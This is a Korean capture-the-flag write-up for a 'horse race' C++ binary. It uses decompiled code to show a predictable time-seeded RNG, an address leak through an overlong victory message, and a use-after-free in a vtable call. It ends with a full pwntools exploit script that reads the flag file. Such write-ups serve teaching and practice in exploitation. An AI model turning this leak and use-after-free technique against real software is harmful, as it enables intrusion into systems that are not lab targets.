Horse race write up

Kommadot

```
/home/horse_race/flagz
#     #                              ######
#     #  ####  #####   ####  ######    #     #   ##    ####  ######
#     # #    # #    # #      #         #     #  #  #  #    # #
####### #    # #    #  ####  #####     ######  #    # #      #####
#     # #    # #####       # #         #   #   ###### #      #
#     # #    # #   #  #    # #         #    #  #    # #    # #
#     #  ####  #    #  ####  ######    #     # #    #  ####  ######
---------------------------------------------------------------------
1.Game Start
2.Buy horse
3.horse info
4.How to Play
5.Sell horse
0.exit
>
```

바이너리를 실행하면 경마라는 내용과 메뉴가 나옵니다.

Ida 로 코드를 보면

```
while ( 1 )
{
  if ( unk_40C0 <= 0 )
  {
    v3 = std::operator<<<std::char_traits<char>>(&std::cout, "####you dont have money T.T , Bye Bye####");
    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    return 0;
  }
  sub_1321();
  std::operator<<<std::char_traits<char>>(&std::cout, &off_2342);
  std::istream::operator>>(&std::cin, &v13);
  if ( v13 != 1 )
    break;
  if ( unk_4124 )
  {
    sub_1000(v14 + 4, v14 + 128, v14, v14 + 24);
  }
  else
  {
    v5 = std::operator<<<std::char_traits<char>>(&std::cout, "####Firse of all, you should buy a horse####");
    std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  }
}
if ( v13 != 2 )
  break;
if ( unk_4124 )
{
  v6 = std::operator<<<std::char_traits<char>>(&std::cout, "####already you have horse####");
  std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
}
else
{
  v7 = operator new(0x88u);
  sub_1E06(v7);
```

Main 입니다. 누가 봐도 더럽네요 strip 옵션에 c++ 극혐!!!

```
if ( v13 != 1 )
  break;
if ( unk_4124 )
{
  sub_1000(v14 + 4, v14 + 128, v14, v14 + 24);
}
else
{
  v5 = std::operator<<<std::char_traits<char>>(&std::cout, "####Firse of all, you should buy a horse####");
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
```

1번을 누르면 실행되는 코드입니다. 음... 일단 if가 있고 함수 호출이 있고 else 문엔 먼저 말을 사래요! 방금 위쪽에 보면 buy horse가 있으니 그걸로 말을 구매한뒤 실행을 하는거군요!!

```
seed = time(0);
srand(seed);
v4 = std::operator<<<char,std::char_traits<char>,std::allocator<char>>(&std::cout, &unk_4128);
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &v14);
if ( v14 <= 10 && v14 > 0 )
{
  v19 = 10;
  do
  {
    for ( i = 0; i < v19; ++i )
      v20[i] += rand() % 3;
    system("clear");
    for ( i = 0; i < v19; ++i )
    {
      std::ostream::operator<<(&std::cout, i + 1);
      for ( j = 0; v20[i] > j; ++j )
        std::operator<<<std::char_traits<char>>(&std::cout, "    ");
      v7 = std::operator<<<std::char_traits<char>>(&std::cout, "흭");
      std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
      v8 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------------------------------");
      std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
    }
    sleep(1u);
    for ( i = 0; i < v19; ++i )
    {
      if ( v20[i] > 11 )
      {
        v16 = 1;
```

이게 1번을 눌렀을 때 실행되는 함수의 주요 내용입니다. 맨 위에 보니 time(0)를 시드로 삼아서 srand를 사용하는군요!!!

#우회 Point!# 저 부분에서 time값을 맞춘 뒤 해당 경마 알고리즘과 동일하게 for문을 돌린다면 1등말을 추측 가능하겠네요. (하지만 아무도 그 방법을 사용하지 않았다고 한다.)

휵 인지 흭 인지는 신경 쓰지 맙시다. 아마 유니코드라 그런 것 같네요 출제자 분이 저렇게 쓴 건가?(응~ 출제자 나야~ 저거 유니코드라 그런 거 맞아~)

그렇다 네요. 그럼 다음.

만약 이 경마에서 1등을 맞춘다면

```
int __cdecl sub_159D(int a1, _DWORD *a2, int a3, char *a4)
{
  int result; // eax@1
  char s; // [sp+2Eh] [bp-7Ah]@1
  int v6; // [sp+9Ch] [bp-Ch]@1

  v6 = *MK_FP(__GS__, 20);
  *a2 = a3;
  fflush(stdin);
  std::operator<<<std::char_traits<char>>(&std::cout, "input The thoughts of victory : ");
  std::operator>><char,std::char_traits<char>>(&std::cin, &s);
  dword_411C = strlen(&s);
  strncpy(a4, &s, dword_411C);
  result = *MK_FP(__GS__, 20) ^ v6;
  if ( *MK_FP(__GS__, 20) != v6 )
    sub_1EE0();
  return result;
}
```

이런 함수로 이동이 되는데 약 108자까지 입력할 수 있는 공간을 주고 승리소감을 쓰라하네요. 승리 소감은 대체 어디로 쓰여지는 걸까요?

```
sub_1000(v14 + 4, v14 + 128, v14, v14 + 24);
```

처음 main함수에서 경마게임을 호출 하는 함수에서 v14+24위치에 써주네요

그럼 여기서 v14는 뭘까욧!

네 맞습니다. 그거슨 바로 처음에 구매한 말입니다! 그럼 처음에 구매한 말에게 이름, 말번호, 승리소감 등등을 저장하는 거시죠. 자 승리소감을 쓴 뒤 메인으로 돌아와서 다시 다음번인 3번!
말의 정보를 보기하면

```
if ( v13 != 3 )
  break;
if ( unk_4124 || unk_4120 )
{
  (**(void (__cdecl ***)(_DWORD, _DWORD, _DWORD, _DWORD))v14)(v14, v14 + 4, *(_DWORD *)(v14 + 128), v14 + 24);
}
else
{
  v8 = std::operator<<<std::char_traits<char>>(&std::cout, "####First of all, you should buy a horse####");
  std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
}
```

이런 코드가 있는데 음... v14를 호출해??? 이거슨... 클래스 내부 함수!!!!
바로 여기군 uaf취약점이 발생 할것 같은 스멜이 풍겨 오져? 그거 제 발 냄새임 쨋든! C++의 클래스 내부함수를 호출하는 방법은 vtable을 참조해서 함수의 주소를 찾습니다. 쉽게 설명하면 만약 우리가 호출하고 싶은 함수가 B라는 함수라 합시다. 그래서 호출한다면 우선 vtable에 가겠죠?

Vtable에 A라는 주소가 써있었다 합시다. 그럼 A라는곳에 가면 B의 진짜 주소가 써있는 것이죠. 다시 말해 B를 호출해줘! 하면 vtable(참조) -> A(참조) -> B(호출) 이런 식으로 호출이 되는 것이죠.

쉽죠? 하!여!튼! 그렇담 uaf 취약점을 이용하려면 먼저 vtable값을 덮어씌운 뒤 함수의 주소가 써있는곳으로 jump한뒤 jump한 곳에서는 저희가 원하는 함수의 주소를 써 넣어주면 eeeeeeeeeeeeeeeeeeeeexploit!!!!!!!!!!!!!!이 되는것이죠, 말만 하지말고 직접 해보도록 합시다. 친절한 출제자가 대놓고 uaf 포인트를 줬네요

5번으로 말을팔고 3으로 클래스 내부함수를 호출하면 음 뭔가 터질거같은데~

```
1.Game Start
2.Buy horse
3.horse info
4.How to Play
5.Sell horse
0.exit
> 5
Please describe the reason for the sale
> 1234
#### Thx ####
----------------------------------------------------------------------
1.Game Start
2.Buy horse
3.horse info
4.How to Play
5.Sell horse
0.exit
> 3
####First of all, you should buy a horse####
----------------------------------------------------------------------
```

앗... 말을 사야 한다니.. 그럼 uaf는 어캐해? 출제자는 그렇게 호락호락하지 않나보군요.. 나쁜 사람 코드를 한번 봅시다.

```
if ( v13 != 3 )
  break;
if ( unk_4124 || unk_4120 )
{
  (**(void (__cdecl ***)(_DWORD, _DWORD, _DWORD, _DWORD))v14)(v14, v14 + 4, *(_DWORD *)(v14 + 128), v14 + 24);
}
else
{
  v8 = std::operator<<<std::char_traits<char>>(&std::cout, "####First of all, you should buy a horse####");
  std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
}
```

? OR문이 있네요? 출제자의 실수인가? (고의입니다.)

하나는 말이 있는지 없는지일 테고 하나는 뭔지 봅시다.

```
int __cdecl sub_1000(int a1, int a2, int a3, int a4)
{
  int v4; // eax@1
  int v5; // eax@3
  int result; // eax@3
  int v7; // eax@12
  int v8; // eax@12
  int v9; // eax@21
  int v10; // eax@21
  int v11; // eax@21
  int v12; // eax@23
  int v13; // eax@23
  int v14; // [sp+10h] [bp-58h]@1
  int i; // [sp+14h] [bp-54h]@1
  int v16; // [sp+18h] [bp-50h]@1
  int j; // [sp+1Ch] [bp-4Ch]@9
  unsigned int seed; // [sp+20h] [bp-48h]@1
  int v19; // [sp+24h] [bp-44h]@4
  int v20[16]; // [sp+28h] [bp-40h]@1

  memset(v20, 0, 0x28u);
  i = 0;
  v16 = 0;
  ++unk_4120;
```

경마를 시작하면 저 값을 ++ 해주는군요 경마를 한판하고 다시 호출해봅시다.

```
1.Game Start
2.Buy horse
3.horse info
4.How to Play
5.Sell horse
0.exit
> 5
Please describe the reason for the sale
> 1234
#### Thx ####
----------------------------------------------------------------------
1.Game Start
2.Buy horse
3.horse info
4.How to Play
5.Sell horse
0.exit
> 3
Segmentation fault (core dumped)
```

터졌습니다~~ 짝짝 박수 짝짝

그치만.. 어떤값을 입력해야하고 어디로 점프하고 하는지 어찌알지..

```
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial
```

보호기법 짱짱하네...

하지만 맘씨 좋은 출제자는 file을 읽는 함수를 남겨 둔듯해요

```
int __cdecl sub_F7B(int a1, const char *a2)
{
  FILE *stream; // ST24_4@1
  int result; // eax@1
  char s; // [sp+28h] [bp-70h]@1
  int v5; // [sp+8Ch] [bp-Ch]@1

  v5 = *MK_FP(__GS__, 20);
  stream = fopen(a2, (const char *)&unk_1F3F);
  fscanf(stream, (const char *)&unk_1F41, &s);
  puts(&s);
  result = *MK_FP(__GS__, 20) ^ v5;
  if ( *MK_FP(__GS__, 20) != v5 )
    sub_1EE0();
  return result;
}
```

처음 바이너리를 켜면 /home/horse_race/flagz라는 내용을 출력해주니 이 함수를 이용해서 그 파일을 읽으면 될거같네요!

하지만 PIE가 걸려있어서 바이너리 주소를 릭 해야 합니다.. 그리고 하더라도 vtable이 어디로 뛸지 모르니 heap주소도 릭해야 하네요.

```
int __cdecl sub_1E06(int a1)
{
  int v1; // eax@1
  int result; // eax@1

  *(_DWORD *)a1 = (char *)&unk_3EC0 + 8;
  v1 = a1 + 24;
  *(_DWORD *)v1 = 1601466222;
  *(_DWORD *)(v1 + 4) = 7628153;
  *(_DWORD *)(a1 + 128) = 777;
  result = a1;
  *(_DWORD *)(a1 + 124) = a1;
  return result;
}
```

하지만 이부분을 보니 a1+24는 not_yet이란 문자열을 입력해주고 a1+128은 777을 a1+124는 a1을 입력해주네요 힙주소가 들어가나보네요..! 그러면 저까지 문자열을 입력한뒤 출력하면 릭이 성공하겠군요

```
int __cdecl sub_1748(int a1)
{
  std::operator<<<std::char_traits<char>>(&std::cout, "input horse name : ");
  fflush(stdout);
  read(0, (void *)(a1 + 4), 0x14u);
  *(_DWORD *)(a1 + 132) = sub_1670;
  unk_4124 = 1;
  return (*(int (**)(void))(a1 + 132))();
}
```

말을 생성하는 두번째 함수입니다.

말의 이름을 입력하고..a1+4의 위치에 그리고 a1+132의 위치에 함수를 넣어? 이거슨 바이너리 릭각이다. 우린 여기서 한가지 기억해야할것이 있습니다. 아까 분명 게임을 이기면 승리소감을 입력할 수 있었습니다. 그곳을 이용해서 소감을 입력해서 바이너리와 힙주소를 릭할 수 있습니다. 이제 이것들을 다 종합해서.

참조할 주소+"/home/horse_race/flagz"+readfile함수 주소를 uaf시켜주면!

```
heapleak : 0x575edc08
dataleak : 0x565ab670 heapleak : 0x575edc08 readfile : 0x565aaf7b
FLAG{my_horse_is_number_ONE!!!}
```

Yeah~ 익스 성공..! (플래그는 다를 수 있습니다. 로컬이라...ㅈㅅ)

익스코드

```
from pwn import *
import ctypes
LIBC = ctypes.cdll.LoadLibrary("libc-2.19.so")


r = process("./horse_race")
def horserace():
        r.recvuntil("> ")
        r.sendline("1")
        r.recvuntil("----------------------------------------------------------------------")
        r.recvuntil("----------------------------------------------------------------------")
        t=LIBC.time(0)
        LIBC.srand(t)
        b=[0,0,0,0,0,0,0,0,0,0]
        x=0
        while True:
                for i in range(10):
                        b[i]+=LIBC.rand()%3
                for i in range(10):
                        if b[i]>12:
                                x=1
                                break
                if x==1:
                        break
```

```
        r.recvuntil(")₩n") # pcikhorse
        pick=i
        pick=pick+1
        aa=str(pick)
        r.sendline(aa)
        r.recvuntil(": ")

def buyhorse():
        r.recvuntil("> ")
        r.sendline("2")
        r.recvuntil(": ")
        r.sendline("1234")

#####################################leak#####################
buyhorse()
horserace()

r.sendline("1"*100)
r.recvuntil("> ")
r.sendline("3")
r.recvuntil("victory : ")
r.recv(100)
heapleak=u32(r.recv(4))
print "heapleak : 0x%x" % heapleak

horserace()
```

```
r.sendline("1"*108)
r.recvuntil("> ")
r.sendline("3")
r.recvuntil("victory : ")
r.recv(108)
dataleak=u32(r.recv(4))



##############################exploit##########################


readfile=dataleak-0x6f5
print "dataleak : 0x%x heapleak : 0x%x readfile : 0x%x" % (dataleak,heapleak,readfile)
r.recvuntil("> ")
r.sendline("5")
r.recvuntil("> ")
r.sendline(p32(heapleak+27)+"/home/horse_race/flagz"+"₩x00"+p32(readfile))
r.recvuntil("> ")
r.sendline("3")
print r.recv(2000)
```